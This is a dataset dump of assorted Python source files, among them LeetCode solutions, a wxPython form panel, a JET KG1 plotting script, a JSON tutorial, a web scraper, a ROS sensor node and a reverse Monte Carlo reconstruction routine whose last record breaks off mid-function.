+{"seq_id":"609335285","text":"# Time Complexity : O(n) \n# Space Complexity :O(1)\n# Did this code successfully run on Leetcode : Yes\n# Any problem you faced while coding this : No\n# Your code here along with comments explaining your approach\n# 1) Take first element and the that number is the maximum jumps that we can go starting from 1.\n# 2) nextInt will track the number, a number that will tell the maximum jump that we can dive, \n#    during the iteration untill we reach the currInt that was where we started from. \n# 3) if we reach the currInt, so we reached our inital destination, so we incremenet the jump by 1. \nclass Solution:\n    def jump(self, nums):\n        if len(nums) < 2:\n            return 0 \n        jump = 1 \n        currInt = nums[0]\n        nextInt = nums[0]\n        for i in range(1,len(nums)):\n            if nums[i] + i > nextInt:\n                nextInt = nums[i] + i \n     \n            if i < len(nums)-1 and i == currInt:\n                currInt = nextInt \n                jump += 1\n            \n        return jump\n\nif __name__ == \"__main__\":\n    s = Solution()\n    \n    # Test case 1 \n    print(s.jump([2, 3, 1, 1, 4]))","sub_path":"JumpGame2.py","file_name":"JumpGame2.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"360196643","text":"from rest_framework import routers\nfrom dnaorder.api.viewsets import SubmissionViewSet, SubmissionFileViewSet,\\\n    NoteViewSet, SubmissionTypeViewSet\n\nrouter = routers.SimpleRouter()\nrouter.register(r'submissions', SubmissionViewSet)\nrouter.register(r'submission_types', SubmissionTypeViewSet)\nrouter.register(r'submission_files', SubmissionFileViewSet)\nrouter.register(r'notes', NoteViewSet)\n\nurlpatterns = router.urls","sub_path":"dnaorder/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"267138097","text":"# Section 10.12 snippets\n\nfrom collections import namedtuple\n\nCard = namedtuple('Card', ['face', 'suit'])\n\ncard = Card(face='Ace', suit='Spades')\n\ncard.face\n\ncard.suit\n\ncard\n\n# Other Named Tuple Features\nvalues = ['Queen', 'Hearts']\n\ncard = Card._make(values)\n\ncard\n\ncard._asdict()\n\n\n\n##########################################################################\n# (C) Copyright 2019 by Deitel & Associates, Inc. and                    #\n# Pearson Education, Inc. All Rights Reserved.                           #\n#                                                                        #\n# DISCLAIMER: The authors and publisher of this book have used their     #\n# best efforts in preparing the book. These efforts include the          #\n# development, research, and testing of the theories and programs        #\n# to determine their effectiveness. The authors and publisher make       #\n# no warranty of any kind, expressed or implied, with regard to these    #\n# programs or to the documentation contained in these books. The authors #\n# and publisher shall not be liable in any event for incidental or       #\n# consequential damages in connection with, or arising out of, the       #\n# furnishing, performance, or use of these programs.                     #\n##########################################################################\n","sub_path":"examples/ch10/snippets_py/.ipynb_checkpoints/10_12-checkpoint.py","file_name":"10_12-checkpoint.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"130708817","text":"import wx\n\nclass uiType:\n    text = 1\n    password = 2\n    multilineText = 3\n    combo = 4\n    date = 5\n    filePath = 6\n    list = 7\n    staticText = 8\n\nclass UIPanel(wx.Panel):\n    def __init__(self, parent, user=''):\n        wx.Panel.__init__(self, parent)\n        self.topSizer        = wx.BoxSizer(wx.VERTICAL)\n        if user != '':\n            self.topSizer.Add(wx.StaticLine(self), 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Add(wx.StaticText(self, wx.ID_ANY, user), 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Add(wx.StaticLine(self), 0, wx.ALL|wx.EXPAND, 5)\n        self.SetSizer(self.topSizer)\n        self.topSizer.Fit(self)\n\n    def AddLine(self, label, type, size = (-1, -1)):\n        if type == uiType.text:\n            l = wx.StaticText(self, wx.ID_ANY, label)\n            editor = wx.TextCtrl(self, wx.ID_ANY, '', size = size)\n            sizer = wx.BoxSizer(wx.HORIZONTAL)\n            sizer.Add(l, 0, wx.ALL, 5)\n            sizer.Add(editor, 1, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Add(sizer, 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Fit(self)\n            return editor\n        if type == uiType.password:\n            l = wx.StaticText(self, wx.ID_ANY, label)\n            editor = wx.TextCtrl(self, wx.ID_ANY, '', style = wx.TE_PASSWORD, size = size)\n            sizer = wx.BoxSizer(wx.HORIZONTAL)\n            sizer.Add(l, 0, wx.ALL, 5)\n            sizer.Add(editor, 1, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Add(sizer, 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Fit(self)\n            return editor\n        if type == uiType.multilineText:\n            l = wx.StaticText(self, wx.ID_ANY, label)\n            editor = wx.TextCtrl(self, wx.ID_ANY, '', style = wx.TE_MULTILINE, size = size)\n            sizer = wx.BoxSizer(wx.HORIZONTAL)\n            sizer.Add(l, 0, wx.ALL, 5)\n            sizer.Add(editor, 1, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Add(sizer, 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Fit(self)\n            return editor\n        if type == uiType.combo:\n            l = wx.StaticText(self, wx.ID_ANY, label)\n            combo = wx.ComboBox(self, -1, style = wx.CB_READONLY, size = size)\n            sizer = wx.BoxSizer(wx.HORIZONTAL)\n            sizer.Add(l, 0, wx.ALL, 5)\n            sizer.Add(combo, 1, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Add(sizer, 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Fit(self)\n            return combo\n        if type == uiType.date:\n            l = wx.StaticText(self, wx.ID_ANY, label)\n            date = wx.DatePickerCtrl(self, wx.ID_ANY, style = wx.DP_DEFAULT | wx.DP_DROPDOWN, size = size)\n            sizer = wx.BoxSizer(wx.HORIZONTAL)\n            sizer.Add(l, 0, wx.ALL, 5)\n            sizer.Add(date, 1, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Add(sizer, 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Fit(self)\n            return date\n        if type == uiType.filePath:\n            l = wx.StaticText(self, wx.ID_ANY, label)\n            path = wx.TextCtrl(self, wx.ID_ANY, '', style = wx.TE_READONLY, size = size)\n            browseBtn = wx.Button(self, wx.ID_ANY, '...')  \n            sizer = wx.BoxSizer(wx.HORIZONTAL)\n            sizer.Add(l, 0, wx.ALL, 5)\n            sizer.Add(path, 1, wx.ALL|wx.EXPAND, 5)\n            sizer.Add(browseBtn, 0, wx.ALL, 5)\n            self.topSizer.Add(sizer, 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Fit(self)\n            self.Bind(wx.EVT_BUTTON, lambda event: self.OnFileBrowse(event, path), browseBtn)\n            return path\n        if type == uiType.list:\n            list = wx.ListCtrl(self, -1, style=wx.LC_REPORT | wx.LC_SINGLE_SEL)\n            self.topSizer.Add(list, 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Fit(self)\n            return list   \n        if type == uiType.staticText:\n            l = wx.StaticText(self, wx.ID_ANY, label)\n            sizer = wx.BoxSizer(wx.HORIZONTAL)\n            sizer.Add(l, 0, wx.ALL, 5)\n            self.topSizer.Add(sizer, 0, wx.ALL|wx.EXPAND, 5)\n            self.topSizer.Fit(self)\n        return None\n\n    def AddButtons(self, *buttons):\n        sizer = wx.BoxSizer(wx.HORIZONTAL)\n        buttonList = []\n        for buttonLabel in buttons:\n            id = wx.ID_ANY\n            if buttonLabel == 'OK':\n                id = wx.ID_OK\n            if buttonLabel == 'Cancel':\n                id = wx.ID_CANCEL\n            button = wx.Button(self, id, buttonLabel)\n            sizer.Add(button, 0, wx.ALL, 5)\n            buttonList.append(button)\n        self.topSizer.Add(sizer, 0, wx.ALL|wx.CENTER, 5)\n        self.topSizer.Fit(self)\n        return buttonList\n\n    def AddImage(self, path):\n        sizer = wx.BoxSizer(wx.HORIZONTAL)\n        img = wx.StaticBitmap(self, -1, wx.Bitmap(path, wx.BITMAP_TYPE_ANY))\n        sizer.Add(img, 0, wx.ALL, 5)\n        self.topSizer.Add(sizer, 0, wx.ALL|wx.CENTER, 5)\n        self.topSizer.Fit(self)\n\n    def OnFileBrowse(self, event, path):\n        dialog = wx.FileDialog(self, \"Selectati fisierul...\", \"\", \"\", \"Word files (*.doc)|*.doc|PDF files (*.pdf)|*.pdf|All files (*.*)|*.*\", wx.FD_OPEN | wx.FD_CHANGE_DIR)\n        if dialog.ShowModal() == wx.ID_OK:\n            path.SetValue(str(dialog.GetPath()))\n        dialog.Destroy()","sub_path":"Shared/uiPanel.py","file_name":"uiPanel.py","file_ext":"py","file_size_in_byte":5228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"477126353","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Simple program to compare KG1 ppf files.\n example:\n run compare_KG1_bviola.py -p 92135 -u1 jetppf -u2 bviola -u3 bviola -s1 0 -s2 301 -s3 308 -f 1 -pf 0\nrun compare_KG1_bviola.py -p 92125 -u1 jetppf -u2 bviola -u3 bviola -s1 0 -s2 243 -s3 244 -f 1 -pf 0\nrun compare_KG1_bviola.py -p 92101 -u1 jetppf -u2 bviola -u3 bviola -s1 0 -s2 409 -s3 410 -f 1 -pf 0\nrun compare_KG1_bviola.py -p 92077 -u1 jetppf -u2 bviola -u3 bviola -s1 0 -s2 400 -s3 401 -f 1 -pf 0\n\"\"\"\n\nfrom ppf import *\nimport csv\nimport sys\nimport collections\nimport matplotlib.pyplot as plt\nimport argparse\nimport numpy as np\n\nfrom matplotlib.pylab import yticks,xticks,ylabel,xlabel\n# from make_plots import make_plots\n\n#import pylab as P\nfrom scipy import array, zeros\nimport os\nimport sys\npath=os.getcwd()\n# sys.path.append(\"/jet/share/lib/python\")\nimport logging\n# sys.path.insert(0, '/home/bviola/work/Python/KG1_code/python')\nfrom make_plots import make_plot\nlogger = logging.getLogger(__name__)\nlogging.basicConfig(level=logging.DEBUG,\n                    format='%(asctime)s %(levelname)s %(message)s',\n                    filename=path+'/debug.log',\n                    filemode='a')\n_LOG_LEVEL_STRINGS = ['CRITICAL', 'ERROR', 'WARNING', 'INFO', 'DEBUG']\n\ndef _log_level_string_to_int(log_level_string):\n    if not log_level_string in _LOG_LEVEL_STRINGS:\n        message = 'invalid choice: {0} (choose from {1})'.format(log_level_string, _LOG_LEVEL_STRINGS)\n        raise argparse.ArgumentTypeError(message)\n\n    log_level_int = getattr(logging, log_level_string, logging.INFO)\n    # check the logging log_level_choices have not changed from our expected values\n    assert isinstance(log_level_int, int)\n\n    return log_level_int\n\n\n\n\ndef initread(pulse,user,sequence):\n    ier=ppfgo(pulse,sequence)\n    ppfsetdevice(\"JET\")\n    ppfuid(user,\"r\")\n    # ppfuid(\"bviola\",\"r\")\n    ppfssr(i=[0,1,2,3])\n\n\ndef Getdata(pulse, dda,dtype,sequence,user):\n    '''\n    ARGS\n    pulse1 :=  pulse\n\n    dda := string e.g. 'kg1v'\n    dtype:= string e.g. 'lid3'\n    RETURNS\n    SF := status flag\n    '''\n\n\n\n    logger.debug('pulse number is %d',pulse)\n    logger.debug('dda is %s',dda)\n    logger.debug('dtype is %s',dtype)\n    logger.debug('userid is %s', user)\n    logger.debug('sequence is %d',sequence)\n    initread(pulse,user,sequence)\n    # ier=ppfgo()\n    ihdat,iwdat,data,x,t,ier=ppfget(pulse,dda,dtype)\n    # pulse,seq,iwdat,comment,numdda,ddalist,ier=ppfinf(comlen=50,numdda=50)\n    # info,cnfo,ddal,istl,pcom,pdsn,ier=pdinfo(pulse,seq)\n    # istat,ier = ppfgsf(pulse,seq,dda,dtype,mxstat=1)\n\n\n\n    return (ihdat,iwdat,data,x,t,ier,sequence)\n\n\n# if __name__ == '__main__':\n\ndef main(pulse,userid1,userid2,userid3,sequence1,sequence2,sequence3,savefig,plotfig):\n# userid1='jetppf'\n# userid2='bviola'\n# userid3='bviola'\n# sequence1=0\n# sequence2=301\n# sequence3=308\n# pulse=92135\n    ms=20\n    lw=3\n    LID_dtype=['LID1','LID2','LID3','LID4','LID5','LID6','LID7','LID8']\n    plots = []\n    pformat = []\n    colours = []\n    ytitles = []\n    for i in range(0,len(LID_dtype)):\n    #     print(i)\n        ddatype=str(LID_dtype[i])\n        dda='KG1V'\n        ihdat1,iwdat1,data1,x1,t1,ier1,seq1=Getdata(pulse, dda,ddatype,sequence1,userid1)\n        ihdat2,iwdat2,data2,x2,t2,ier2,seq2=Getdata(pulse, dda,ddatype,sequence2,userid2)\n        dda='KG1R'\n        ihdat3,iwdat3,data3,x3,t3,ier3,seq3=Getdata(pulse, dda,ddatype,sequence3,userid3)\n        # plots.append([[t1,data1],[t2,data2],[t3,data3]])\n        plots.append([t1,data1])\n        plots.append([t2,data2])\n        plots.append([t3,data3])\n        # pformat.append(3)\n        # colours.extend([\"black\",\"blue\", \"red\"])\n        # ytitles.append(\"LID{} : [m^2]\".format(i))\n        # print([len(plots),i,pformat,colours\n        #        ])\n\n        # if plotfig==1:\n        fname='KG1 data '+ddatype+'_'+userid2+'_'+str(sequence2)+'_'+userid3+'_'+str(sequence3)\n        #\n        # ftitle=ddatype\n        #fxlabel='$n_{e,sep,LFS-mp}  (10^{19} m^{-3})$'\n        #fylabel='$I_{pump} (10^{22} s^{-1})$'\n        fxlabel='Time [sec]'\n        fylabel='$Density [x10^{20} m^{-2}])$'\n        # if plotfig==1:\n        plt.figure(num=fname)\n        plt.title(str(pulse)+'_'+fname)\n        plt.plot(t1,data1,label='original',color='black',markersize=ms, linewidth=lw)\n        plt.plot(t2,data2,label='kg1v',color='blue',markersize=ms, linewidth=lw)\n        plt.plot(t3,data3,label='kg1r',color='red',markersize=ms, linewidth=lw)\n        # #\n        # #\n        #\n        plt.legend(loc=2,prop={'size':16})\n        locs,labels = xticks()\n        xticks(locs, list(map(lambda x: \"%g\" % x, locs*1)))\n        locs,labels = yticks()\n        yticks(locs, list(map(lambda x: \"%.3f\" % x, locs*1e-20)))\n        plt.xlabel(fxlabel,{'color': 'k','size': 28})\n        plt.ylabel(fylabel,{'color': 'k','size': 28})\n        #    plt.ioff()\n        plt.tight_layout()\n            # plt.show()\n\n\n        if savefig==1:\n            plt.savefig('./figures/'+str(pulse)+'_'+fname, format='eps', dpi=300) #\n            plt.savefig('./figures/'+str(pulse)+'_'+fname,  dpi=300)\n        if plotfig==1:\n            plt.show()\n\n\n    # for i in range(0,len(LID_dtype)):\n#     print(plots)\n#     print(len(plots))\n#     # print(pformat)\n#     # make_plot(plots, labels=[['original','kg1v','kg1r']*8],\n#     #           colours=[[\"black\",\"blue\", \"red\"]*8],\n#     #           xtitles=[[\"Time [sec]\"]*8],\n#     #           ytitles=[[\"Density [m^-2]\"]*8],\n#     #           pformat=[3,3,3,3,3,3,3,3],\n#     #           show=True,save_name=str(pulse)+'_')\n#     # # plt.show()\n#     ppp=[[t1,data1],[t2,data2],[t3,data3],[t1,data1],[t2,data2],[t3,data3]]\n#     print(ppp)\n#     # make_plot([[t1,data1],[t2,data2],[t3,data3]],\n#     #           colours=  [\"black\",\"blue\", \"red\"],\n#     #           labels=['original','kg1v','kg1r'],\n#     #           pformat=[3],\n#     #           show=True,save_name=str(pulse)+'_')\n#     make_plot(plots,\n#               colours=  [\"black\",\"blue\", \"red\"]*8,\n#               labels=['original','kg1v','kg1r']*8,\n#               pformat=[3,3,3,3,3,3,3,3],\n#               show=True,save_name=str(pulse)+'_')\n# # sys.exit('stop')\n\n\n\nif __name__ == \"__main__\":\n        # Ensure we are running python 3\n        assert sys.version_info >= (3,3), \"Python version too old. Please use >= 3.3.X.\"\n\n        # Parse arguments from the command line\n        parser = argparse.ArgumentParser()\n        parser.add_argument(\"-p\", \"--pulse\", type=int, help=\"pulse number to run.\", required=True)\n        parser.add_argument(\"-u1\", \"--userid1\", type=str, help=\"fringe jumps threshold.\",required=True, default='jetppf')\n        parser.add_argument(\"-u2\", \"--userid2\", type=str, help=\"fringe jumps threshold.\",required=True )\n        parser.add_argument(\"-u3\", \"--userid3\", type=str, help=\"fringe jumps threshold.\")\n        parser.add_argument(\"-s1\", \"--sequence1\", type=int, help=\"ppf sequence\", default=0)\n        parser.add_argument(\"-s2\", \"--sequence2\", type=int, help=\"ppf sequence\", default=0)\n        parser.add_argument(\"-s3\", \"--sequence3\", type=int, help=\"ppf sequence\", default=0)\n        parser.add_argument(\"-sf\", \"--savefig\", type=int, help=\"save fig\", default=0)\n        parser.add_argument(\"-pf\", \"--plotfig\", type=int, help=\"plot fig\", default=0)\n\n\n        parser.add_argument('-d',\n                            default='INFO',\n                            dest='log_level',\n                            type=_log_level_string_to_int,\n                            nargs='?',\n                            help='Set the logging output level. {0}'.format(_LOG_LEVEL_STRINGS))\n\n        args = parser.parse_args(sys.argv[1:])\n\n        logger = logging.getLogger(__name__)\n        logger.setLevel(args.log_level)\n\n\n        # Call the main code\n        main(args.pulse, args.userid1, args.userid2, args.userid3, args.sequence1, args.sequence2, args.sequence3,args.savefig,args.plotfig)\n        # ff,kk=Getnonvalidatedpulses([92123,92124]    ,['LID1','LID2','LID3','LID4','LID5','LID6','LID7','LID8'] , [1,2,3])\n        # aa=GetSF(89076, 'kg1v',['LID1','LID2','LID3','LID4','LID5','LID6','LID7','LID8'])\n","sub_path":"KG1_compare/compare_KG1_bviola.py","file_name":"compare_KG1_bviola.py","file_ext":"py","file_size_in_byte":8116,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"654039888","text":"\"\"\"\nPython3 JSON模块的使用\n参考链接:https://docs.python.org/3/library/json.html\n这里只是介绍最常用的dump、dumps和load、loads\n\"\"\"\n\nimport json\n\n# 自定义了一个简单的数据（Python中的字典类型），要想Python中的字典能够被序列化到json文件中请使用双引号！双引号！双引号！\ndata_obj = {\n    \"北京市\": {\n        \"朝阳区\": [\"三里屯\", \"望京\", \"国贸\"],\n        \"海淀区\": [\"五道口\", \"学院路\", \"后厂村\"],\n        \"东城区\": [\"东直门\", \"崇文门\", \"王府井\"],\n    },\n    \"上海市\": {\n        \"静安区\": [],\n        \"黄浦区\": [],\n        \"虹口区\": [],\n    }\n}\n\n# ---------------------------------------------------分割线------------------------------------------------------------\n\n\n\"\"\"\ndumps：序列化一个对象\nsort_keys：根据key排序\nindent：以4个空格缩进，输出阅读友好型\nensure_ascii: 可以序列化非ascii码（中文等）\n\n\"\"\"\ns_dumps = json.dumps(data_obj, sort_keys=True, indent=4, ensure_ascii=False)\nprint(s_dumps)\n\n# ---------------------------------------------------分割线------------------------------------------------------------\n\n\n\"\"\"\ndump：将一个对象序列化存入文件\ndump()的第一个参数是要序列化的对象，第二个参数是打开的文件句柄\n注意打开文件时加上以UTF-8编码打开\n\n* 运行此文件之后在统计目录下会有一个data.json文件，打开之后就可以看到json类型的文件应该是怎样定义的\n\n\"\"\"\nwith open(\"data.json\", \"w\", encoding=\"UTF-8\") as f_dump:\n    json.dump(data_obj, f_dump, ensure_ascii=False)\n# print(s_dump) None\n\n# ---------------------------------------------------分割线------------------------------------------------------------\n\n\n\"\"\"\nload：从一个打开的文件句柄加载数据\n注意打开文件的编码\n\n\"\"\"\nwith open(\"data.json\", \"r\", encoding=\"UTF-8\") as f_load:\n    r_load = json.load(f_load)\nprint(r_load)\n\n# ---------------------------------------------------分割线------------------------------------------------------------\n\n\n\"\"\"\nloads： 从一个对象加载数据\n\n\"\"\"\nr_loads = json.loads(s_dumps)\nprint(r_loads)\n\narg = '{\"bakend\": \"www.oldboy.org\", \"record\": {\"server\": \"100.1.7.9\", \"weight\": 20, \"maxconn\": 30}}'\n\n# a = json.loads(input('请输入添加的数据：'),encoding='utf-8')\n# print(a)\n","sub_path":"pickler/jsontest.py","file_name":"jsontest.py","file_ext":"py","file_size_in_byte":2361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"320039622","text":"from bs4 import BeautifulSoup\nfrom requests import get\nfrom json import dump\n\nraw_html = get('https://cs.uwaterloo.ca/current-undergraduate-students/majors/breadth-and-depth-requirements-2017-2018').content\nsoup = BeautifulSoup(raw_html, 'html.parser')\n\nfor e in soup.find_all('span'):\n    e.extract()\n\ntable = [str(item)[6:-5] if str(item)[4] == '\\n' else str(item)[4:-5] for item in soup.find_all('td')]\ntable = [item if len(item)>1 else item!='\\xa0' for item in table]\n\ntable = {Subject: {\n    'Description': Description,\n    'Hum': Hum,\n    'SS': SS,\n    'PS': PS,\n    'PAS': PAS}\n    for Subject, Description, Hum, SS, PS, PAS in zip(*[iter(table)]*6)}\n\nwith open('breadth.json', 'w') as outfile:\n    dump(table, outfile)\n","sub_path":"breadth_table.py","file_name":"breadth_table.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"33787613","text":"class Solution:\n    def validPalindrome(self, s):\n        \"\"\"\n        :type s: str\n        :rtype: bool\n        \"\"\"\n        listS = list(s)\n        reverse = list(reversed(s))\n        \n        if listS == reverse:\n            return True\n        \n        for i in range(len(listS)): \n            if listS[i] != reverse[i]:\n                position = i\n                break\n        del listS[position]\n        del reverse[position]\n        \n        return listS == listS[::-1] or reverse == reverse[::-1]\n","sub_path":"TangYuCreated/leetcode/Python/简单题目/680.py","file_name":"680.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"236723830","text":"import numpy as np\nfrom random import randint, shuffle\n\ndef get_step_vector(s, t, num_steps, partial, tree):\n    s = np.array(s)\n    t = np.array(t)\n    s_transform = np.multiply(s, tree.diag)\n    t_transform = np.multiply(t, tree.diag)\n    step = (t_transform - s_transform) / num_steps\n\n    step = np.divide(step, tree.diag, out=np.zeros_like(step), where=tree.diag != 0)\n\n    length = step.shape[0]\n    if (partial):\n        to_keep = randint(0,length)\n        for i in range(0,length):\n            if (i != to_keep):\n                step[i] = 0\n    return step\n\ndef generate(tree, from_track, to_track, blocklist, n, random_order=False, readjust=False, partial=False, **kwargs):\n    if(to_track is None):\n        to_track = from_track\n\n    tree_search_size = n\n\n    playlist = [None for _ in range(n-2)]\n    indices = list(range(n-2))\n\n    if (random_order):\n        shuffle(indices)\n        readjust = False\n\n    start_pos = np.array(from_track)\n    for i in indices:\n\n        if (readjust and i != 0):\n            step = get_step_vector(playlist[i-1], to_track, n-len(playlist), partial, tree)\n            last_pos = np.array(playlist[i-1])\n            current_pos = last_pos + step\n        else:\n            current_pos = start_pos + i * get_step_vector(from_track, to_track, n, partial, tree)\n\n\n        closest_tracks = tree.knn_query(current_pos, tree_search_size + len(blocklist))\n\n        for t in closest_tracks:\n            if t not in playlist and t not in [from_track,to_track] and t not in blocklist:\n                playlist[i] = t\n                break\n\n    playlist.insert(0,from_track)\n    playlist.append(to_track)\n    return playlist\n","sub_path":"code/server/playlist_generation_algorithms/vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":1656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"453563587","text":"#!/usr/bin/env python\nfrom mpu6050_new.srv import *\nimport rospy\nfrom mpu6050 import MPU6050\nfrom mpu6050_new.msg import accl_values\nprev_ax=[0,0,0,0,0,0,0,0]\nprev_ay=[0,0,0,0,0,0,0,0]\nprev_az=[0,0,0,0,0,0,0,0]\n\ndef mpu(req):\n    try:\n       sensor = MPU6050(0x69)\n    except:\n      rospy.logerr(\"error initializing mpu no %d\",req.no)\n      rospy.logerr(\"sending previous values\")\n      return mpu_valuesResponse(prev_ax[req.no],prev_ay[req.no],prev_az[req.no])\n    accl = sensor.get_accel_data()\n    rospy.loginfo(accl)\n    msg.mpu_no=req.no\n    msg.ax=prev_ax[req.no]=accl['x']\n    msg.ay=prev_ay[req.no]=accl['y']\n    msg.az=prev_az[req.no]=accl['z']\n    pub.publish(msg)\n    return mpu_valuesResponse(accl['x'],accl['y'],accl['z'])\n\ndef mpu_server():\n    rospy.init_node('mpu_server',log_level=rospy.ERROR)\n    rospy.loginfo(\"service started\")\n    s = rospy.Service('mpu_data',mpu_values, mpu)\n    rospy.spin()\n\nif __name__ == \"__main__\":\n    pub = rospy.Publisher('mpu_accl_values', accl_values,queue_size=60)\n    msg = accl_values()\n    mpu_server()\n","sub_path":"robocon/src/mpu6050_new/scripts/mpu6050_pynode.py","file_name":"mpu6050_pynode.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"301792620","text":"#!/bin/python3\n\ndef lengthOfLongestSubstring(s):\n    word_index = {}\n    start = 0\n    max_len = 0\n    for i, x in enumerate(s):\n        if x in word_index and start <= word_index[x]:\n            start = word_index[x] + 1\n        else:\n            max_len = max(max_len, i - start + 1)\n        word_index[x] = i\n    return max_len\n\nif __name__ == '__main__':\n    n = int(raw_input())\n    for i in range(n):\n        str_in = raw_input()\n        ans_in = int(raw_input())\n        print('my ans: %d' %lengthOfLongestSubstring(str_in), 'true ans: %d' % ans_in)","sub_path":"python/leetcode/longest_substring_without_repeating_char.py","file_name":"longest_substring_without_repeating_char.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"62094516","text":"import numpy as np\nfrom scipy import fftpack\nfrom scipy.linalg import dft\nfrom operator import mul\nfrom hiprmc.temperature_tuning import temp_tuning\nimport progressbar\nfrom functools import lru_cache\nimport numba\n\ndef fourier_transform(m):\n    return fftpack.fft2(m)\n\n@numba.vectorize([numba.float64(numba.complex128),numba.float32(numba.complex64)])\ndef abs2(x):\n    return x.real**2 + x.imag**2\n\n@numba.jit(nopython=True)\ndef chi_square(i_simulation, i_image, norm):\n    return np.sum(abs2(i_image - i_simulation) / norm)\n\n@lru_cache(1)\ndef memoized_dft(N):\n    return dft(N)\n\ndef DFT_Matrix(x_old, y_old, x_new, y_new, N):\n    m = memoized_dft(N)\n    before_row, before_column = m[x_old, :], m[:, y_old]\n    after_row, after_column = m[x_new, :], m[:, y_new]\n    U_new = np.outer(after_row, after_column)\n    U_old = np.outer(before_row, before_column)\n    U = U_new - U_old\n    return U\n\ndef Metropolis(x_old, y_old, x_new, y_new, old_point, new_point, delta_chi, simulated_image, T, acceptance, chi_old,\n               chi_new, T_MAX, iter, N, t_step):\n    if T > 0:\n        if delta_chi < 0:\n            simulated_image[x_old][y_old] = new_point\n            simulated_image[x_new][y_new] = old_point\n            acceptance += 1.0\n            chi_old = chi_new\n        else:\n            #temperature  = T / (T_MAX - T)\n            b = np.exp(-delta_chi / T)\n            if b > np.random.rand():\n                simulated_image[x_old][y_old] = new_point\n                simulated_image[x_new][y_new] = old_point\n                acceptance += 1.0\n                chi_old = chi_new\n    return acceptance, chi_old\n\ndef random_from_circle(radius, centerX, centerY):\n    r = radius * np.sqrt(np.random.random())\n    theta = np.random.random() * 2 * np.pi\n    x = centerX + r * np.cos(theta)\n    y = centerY + r * np.sin(theta)\n    return int(x), int(y)\n\n\ndef periodic(img, x, y):\n    x = x % img.shape[0]\n    y = y % img.shape[1]\n    return x, y\n\ndef random_initial(image:np.array):\n    initial = np.zeros_like(image)\n    initial2 = initial.reshape(mul(*image.shape))\n    initial2[: np.count_nonzero(image == 1)] = 1\n    np.random.shuffle(initial2)\n    initial = initial2.reshape(image.shape)\n    return initial\n\n\ndef rmc(image: np.array, T_MAX, N, iterations):\n    # uncomment the below two lines if using temperature tuning\n    # simulated_image, t_max, t_min = hiprmc.temp_tuning(image, T_MAX, N, initial = initial)\n    # T = t_max\n\n   # if initial is None:\n    initial = random_initial(image)\n\n    # comment the three lines below if using using temperature tuning\n    simulated_image = initial.copy()\n    t_min = 0.0001\n    T = T_MAX\n\n    iterations = iterations\n    t_step = np.exp((np.log(t_min) - np.log(T_MAX)) / iterations)\n\n    f_image = fourier_transform(image)\n    f_old = fourier_transform(simulated_image)\n    i_image = abs2(f_image)\n    i_simulation = abs2(f_old)\n    norm = np.linalg.norm(f_image) ** 2\n    chi_old = chi_square(i_simulation, i_image, norm)\n\n    accept_rate, temperature, error, iteration = [], [], [], []\n    move_distance = int(N / 2)\n\n    particle_list = list(zip(*np.nonzero(simulated_image)))\n\n    for t in progressbar.progressbar(range(0, iterations)):\n        move_count = 0.0\n        acceptance = 0.0\n        T = T * t_step\n        for particle_number in range(0, len(particle_list)):\n            move_count += 1\n            x_old = particle_list[particle_number][0]\n            y_old = particle_list[particle_number][1]\n            x_new = np.random.randint(0, image.shape[0])\n            y_new = np.random.randint(0, image.shape[1])\n            old_point = new_point = simulated_image[x_old][y_old]\n            while new_point == old_point:\n                x_new, y_new = random_from_circle(move_distance, x_old, y_old)\n                x_new, y_new = periodic(image, x_new, y_new)\n                new_point = simulated_image[x_new][y_new]\n            f_new = f_old + DFT_Matrix(x_old, y_old, x_new, y_new, N)\n            i_simulation = abs2(f_new)\n            chi_new = chi_square(i_simulation, i_image, norm)\n            delta_chi = chi_new - chi_old\n            acceptance, chi_old = Metropolis(x_old, y_old, x_new, y_new, old_point, new_point, delta_chi,\n                                                    simulated_image, T, acceptance, chi_old, chi_new, T_MAX, iter, N,\n                                                    t_step)\n            f_old = fourier_transform(simulated_image)\n\n        particle_list = list(zip(*np.nonzero(simulated_image)))\n\n        acceptance_rate = acceptance / move_count\n        accept_rate.append(acceptance_rate)\n        temperature.append(T)\n        error.append(chi_old)\n        iteration.append(t)\n\n    return 